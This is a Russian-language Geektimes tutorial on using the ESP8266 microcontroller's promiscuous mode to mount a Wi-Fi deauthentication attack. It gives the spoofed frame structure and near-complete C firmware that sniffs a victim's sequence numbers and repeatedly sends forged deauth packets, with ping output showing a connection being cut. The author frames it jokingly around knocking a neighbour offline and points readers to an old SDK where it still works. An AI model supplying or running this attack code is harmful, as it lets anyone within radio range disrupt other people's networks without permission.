[Из песочницы] Promiscous mode в микроконтроллере ESP-8266

Думаю, многие согласятся, что ESP-8266 — замечательное изобретение для DIY и Internet of things. Эдакий WiFi-датчик, которые можно подсоединить к Arduino или даже использовать вместо Arduino для отправки, как правило, погодных данных на сервер. Существует множество разных прошивок позволяющих делать это: начиная со стокового модема используемого в связке с Arduino, NodeMCU для адептов LUA, и заканчивая многочисленными веб-серверами, полностью обслуживаемыми ESP (пример).

image

Как правило, после получения миниатюрного микроконтроллера из Китая вы вряд ли захотите написать собственную прошивку и будете использовать одну из имеющихся. На то есть 2 причины: чтобы вы там ни задумали, это уже было реализовано и вы вряд ли захотите иметь дело с китайским SDK щедро сдобренным костылями и недокументированными возможностями. И пусть вас не сбивает с толку привлекательный дизайн сайта: написание прошивки для ESP это боль и страдания. Если же вас это не пугает, то добро пожаловать. Статья ориентирована на ардуинщика с минимальным опытом работы с ESP: вы уже умеете собирать прощивки и записывать их в микроконтроллер.
Как можно понять из заголовка, мы будем работать напрямую со стеком 802.11, насколько это вообще возможно в случае ESP. Promiscous mode на ESP — возможность слать и принимать «чужие» пакеты данных из эфира. Сфер применения не так много: статистический анализ (сбор всяких данных, таких как загруженность в зависимости от частоты) и проникновение и взлом сетей. В последнем случае типичным времяпрепровождением script kiddie будет деаутентификация (разрыв соединения) соседа от его WiFi маршрутизатора пока он играет в доту/танки. Обычно для этого светлая голова устанавливает Kali Linux и использует набор скиптов air*-ng, мы же будем использовать миниатюрный контроллер.

Зачем?
Во имя сатаны, конечно.


Для этого, помимо железа, нам понадобится API (я использовал ESP8266 Non-OS SDK API Reference, ссылка может очень скоро сломаться) и замечательный проект esp-open-sdk который сделает большую часть сборки проекта за вас. Полуготовый (по этическим соображениям) проект по результатам этой заметки можно найти на github.

Итак deauth. Кто не знает — оборвать ваше WiFi соединение можно с помощью пары десятков байт данных посланных в эфир поблизости. Шифрование не спасает по чисто концептуальным причинам: deauth предусмотрен для тех случаев, когда связь плохая и пакеты теряются. Соответственно, необходим действенный механизм крикнуть клиенту «я всё, мне надоело» и начать соединение с чистого листа. И тут уж не до шифрования. В нашем случае мы притворимся, что не выдержала точка доступа и от её имени пошлём письмо счастливому клиенту. Структура пакета следующая:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]

Жадный до знаний сам найдет что означают магические константы, я же коротко опишу переменные:

  • two_random_bytes будут перезаписаны микроконтроллером;
  • client_MAC_address 6 байтов физического адреса MAC устройства клиента;
  • ap_MAC_address 6 байтов физического адреса MAC устройства сервера (роутера, точки доступа);
  • seq_N_lo, hi младший и старший байты seq_n, порядкового номера пакета, умноженного на 16 (самые младшие 4 бита зарезервированы для возможности пересылки того же пакета еще раз)

Итак,

Шаг 1: переводим ESP в режим station
Следуя ненавязчивым комментариям от друзей-китайцев, это просто необходимо (без объяснений).

void ICACHE_FLASH_ATTR
user_init()
{
    uart_init(115200, 115200);
    os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
    
    // Promiscuous works only with station mode
    wifi_set_opmode(STATION_MODE);
    
    // Set timer for deauth
    os_timer_disarm(&deauth_timer);
    os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
    os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
    
    // Continue to 'sniffer_system_init_done'
    system_init_done_cb(sniffer_system_init_done);
}

Кроме всего прочего, мы здесь выставляем скорость ввода-вывода из serial для возможности прочитать отладочные сообщения, используем встроенный таймер чтобы вызывать метод deauth каждые DEAUTH_INTERVAL миллисекунд и даем возможность ESP пошуршать перед переходом ко второму этапу инициализации.

Почему?

К сожалению, user-defined логика может обрабатываться ESP только ограниченно число тактов за раз, поскольку WiFi пакеты из эфира ждать не будут, а памяти у микроконтроллера немного. Если вы переборщите с while (1) то встроенный watchdog перезагрузит микроконтроллер.

Шаг 2: переводим ESP в режим promiscous
Для этого определяем функцию sniffer_system_init_done которая была использована ранее.

void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
    // Set up promiscuous callback
    wifi_set_channel(channel);
    wifi_promiscuous_enable(0);
    wifi_set_promiscuous_rx_cb(promisc_cb);
    wifi_promiscuous_enable(1);
}


Здесь выставляем полосу WiFi (канал приема / передачи данных, смотрите инструкцию к вашей стране), записываем колбэк для приема пакетов promisc_cb и запускаем режим promiscous. Зачем нам этот callback? Шаг 3: вынюхиваем пакеты
Один из параметров deauth пакета, seq_n, подразумевает, что мы принимали предыдущие пакеты и знаем порядковый номер следующего. Для это нам нужно слушать чужое соединение и записывать этот seq_n.

static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
    if (len == 12){
        struct RxControl *sniffer = (struct RxControl*) buf;
    } else if (len == 128) {
        struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
    } else {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        int i=0;
        // Check MACs
        for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
        for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
        // Update sequence number
        seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
    }
}

Каскад if-ов связан с черной магией разнообразием стандартов 802.11. Конечно, ESP поддерживает только самый необходимый набор и не работает, скажем, с частотой 5Ghz. Описания всех структур доступны в документации и примерах, нам же необходимо малое: поле с данными sniffer→buf в данном случае. Мы проверяем, что пакет пришел от точки доступа и направлялся к нашей жертве и, если так, записываем 2 байта seq_n. К слову, пакеты в обратную сторону имеют отдельную нумерацию.

Шаг 4: отправка
Дело за немногим — отправить пакет.

uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
    int i=0;
    
    // Type: deauth
    buf[0] = 0xC0;
    buf[1] = 0x00;
    // Duration 0 msec, will be re-written by ESP
    buf[2] = 0x00;
    buf[3] = 0x00;
    // Destination
    for (i=0; i<6; i++) buf[i+4] = client[i];
    // Sender
    for (i=0; i<6; i++) buf[i+10] = ap[i];
    for (i=0; i<6; i++) buf[i+16] = ap[i];
    // Seq_n
    buf[22] = seq % 0xFF;
    buf[23] = seq / 0xFF;
    // Deauth reason
    buf[24] = 1;
    buf[25] = 0;
    return 26;
}

/* Sends deauth packets. */
void deauth(void *arg)
{
    os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
    // Sequence number is increased by 16, see 802.11
    uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    wifi_send_pkt_freedom(packet_buffer, size, 0);
}

Первая функция записывает необходимые данные в буфер, вторая — отправляет его.

Шаг 5: проверяем
Для проверки работоспособности я использовал собственный компьютер.

Результаты говорят за себя
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms


Для объективного анализа можно использовать Wireshark:

4578eb54df2449879e5b16043820e111.png

Пакет виден именно в том виде, в котором мы его отправили.

Так что, это правда работает? Нет. В текущих версиях SDK это сломали пофиксили. Broadcast пакеты отправлять можно, но не более того. Но старый SDK был любовно сохранен и доступен как часть примера на GitHub. Используйте с осторожностью.

© Geektimes